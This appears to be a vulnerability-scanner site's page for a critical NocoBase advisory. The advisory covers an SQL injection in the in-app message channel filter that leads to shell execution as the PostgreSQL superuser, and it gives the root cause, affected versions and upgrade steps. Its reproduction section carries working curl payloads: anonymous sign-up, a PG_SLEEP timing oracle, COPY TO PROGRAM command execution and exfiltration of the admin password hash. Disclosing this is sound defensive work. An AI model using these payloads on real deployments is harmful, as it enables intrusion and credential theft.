Loading...
Skip to main content

CVE-2026-52887 — NocoBase: SQL injection in...

CRITICAL

NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE

Published July 31, 2026Updated July 31, 2026Source: osv

Summary

## Summary `GET /api/myInAppChannels:list` accepts a structured `filter` query parameter. The handler for the `latestMsgReceiveTimestamp` field splices the `$lt` value directly into a `Sequelize.literal()` template string with no escape, type cast, or parameter binding. The action ACL is `loggedIn`, so any authenticated account reaches it. The default `auth-basic` authenticator ships `allowSignUp: true`, so the account is obtainable anonymously. The injection is reachable with the URL parameter `filter[latestMsgReceiveTimestamp][$lt]=<expression>`. The `pg` driver in front of Sequelize accepts stacked statements, so the chain extends from boolean and timing oracles to multi-statement payloads. The shipped `docker-compose.yml` creates the DB role `nocobase` on a stock `postgres:16` image, which assigns the `rolsuper` attribute by default. `COPY ... TO PROGRAM '...'` therefore runs shell commands as `uid=999(postgres)` inside the database container. Result: any anonymous visitor signs up, signs in, and exfiltrates arbitrary rows or executes shell commands inside the database container with one HTTP GET after the sign-in. ## Affected NocoBase server, `@nocobase/plugin-notification-in-app-message` `<=2.0.57`. Confirmed live-exploitable on the official `nocobase/nocobase:2.0.57` Docker image (HEAD `e35a2737d9df139cacecae0151c3326746e2339a`). `@nocobase/plugin-notification-in-app-message` is enabled by default in `@nocobase/preset-nocobase`. The default `auth-basic` ships `allowSignUp: true`. The shipped `docker/app-postgres/docker-compose.yml` uses `POSTGRES_USER=nocobase` against `postgres:16`, which makes the role a PostgreSQL superuser; `COPY ... TO PROGRAM` runs from this role. ## Root cause `packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts:62-63`: the `latestMsgReceiveTimestamp` filter is built as `Sequelize.literal(\`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}\`)`. The `$lt` value comes straight from the GET `filter` JSON; the template uses `${...}` interpolation with no `escape()`, `replacements`, or type cast. `packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/InAppNotificationChannel.ts:200`: `app.acl.allow('myInAppChannels', '*', 'loggedIn')` exposes every action on the resource to every authenticated role, including the seeded `member`. `packages/plugins/@nocobase/plugin-auth/src/server/plugin.ts:295`: `allowSignUp: true` ships in the default `auth-basic` seed; `POST /api/auth:signUp` returns 200 with no admin involvement. `docker/app-postgres/docker-compose.yml:30`: `POSTGRES_USER: nocobase` against `postgres:16`. The bare `postgres:16` image creates the named role with `rolsuper=true` (live-verified: `SELECT rolsuper FROM pg_roles WHERE rolname='nocobase'` returns `true`). The `pg` driver simple-query accepts stacked statements. ## Reproduction Tested against `nocobase/nocobase:2.0.57` from the official Docker image with the default `app-postgres` compose. Attacker is an anonymously-signed-up `member`. 1. Anonymous sign-up, then sign-in for a `member` JWT. ``` curl -X POST -H 'Content-Type: application/json' \ -d '{"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}' \ http://target:13000/api/auth:signUp?authenticator=basic TOKEN=$(curl -sX POST -H 'Content-Type: application/json' \ -d '{"account":"a","password":"P!ssw0rd1"}' \ http://target:13000/api/auth:signIn?authenticator=basic | jq -r .data.token) ``` 2. Time-based oracle confirms injection. Each request below takes ~5 seconds. ``` curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0) AND 1882=(SELECT 1882 FROM PG_SLEEP(5))-- a" ``` 3. Stacked-statement `COPY ... TO PROGRAM` runs shell as `uid=999(postgres)` inside the database container. ``` curl -sG -H "Authorization: Bearer $TOKEN" -H "X-Authenticator: basic" \ "http://target:13000/api/myInAppChannels:list" \ --data-urlencode "filter[latestMsgReceiveTimestamp][\$lt]=0); COPY (SELECT 1) TO PROGRAM 'id > /tmp/PWN_VERIFY.txt'; --" docker exec launch-postgres-1 cat /tmp/PWN_VERIFY.txt # uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert) ``` Live-verified: sqlmap 1.10.3 against this endpoint reports `Type: boolean-based blind` (payload `0) AND 1511=(SELECT (CASE WHEN (1511=1511) THEN 1511 ELSE (SELECT 4568 UNION SELECT 9477) END))-- KVYH`), `Type: time-based blind`, `current user: nocobase`, `current user is DBA: True`. Admin password hash `ef6ea7f6...8ea12` exfiltrated via `COPY (SELECT email,password FROM users WHERE id=1) TO PROGRAM 'cat > /tmp/PWN_HASH.txt'`. Reproduced 2026-05-26 against HEAD `e35a2737`. ## Impact - Authenticated SQL injection with time-based, boolean-based, and stacked-statement primitives (`pg` driver simple-query). - Arbitrary row read of any collection, including `users.password` PBKDF2 hashes for the super-admin account. - Shell command execution as `uid=999(postgres)` inside the PostgreSQL container via `COPY ... TO PROGRAM`. - Anonymous reach in default deployments because `auth-basic` ships `allowSignUp: true`. ## Credit Jan Kahmen, [turingpoint](https://turingpoint.de) (jan@turingpoint.de)

Advisory Timeline

  • First published July 31, 2026 (73 days ago).
  • Last revised July 31, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @nocobase/plugin-notification-in-app-message to 2.0.61 or later
npm install @nocobase/plugin-notification-in-app-message@2.0.61

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
@nocobase/plugin-notification-in-app-message
npm
All versions2.0.61

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-52887?
NocoBase: SQL injection in /api/myInAppChannels:list filter to PG-superuser RCE This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-52887?
CVE-2026-52887 affects @nocobase/plugin-notification-in-app-message. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-52887 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-p849-8hwh-84j9

Related CVEs

  • CVE-2026-34156
    CRITICAL

    NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node

  • CVE-2026-107722
    CRITICAL

    fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion

  • CVE-2026-108261
    CRITICAL

    TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies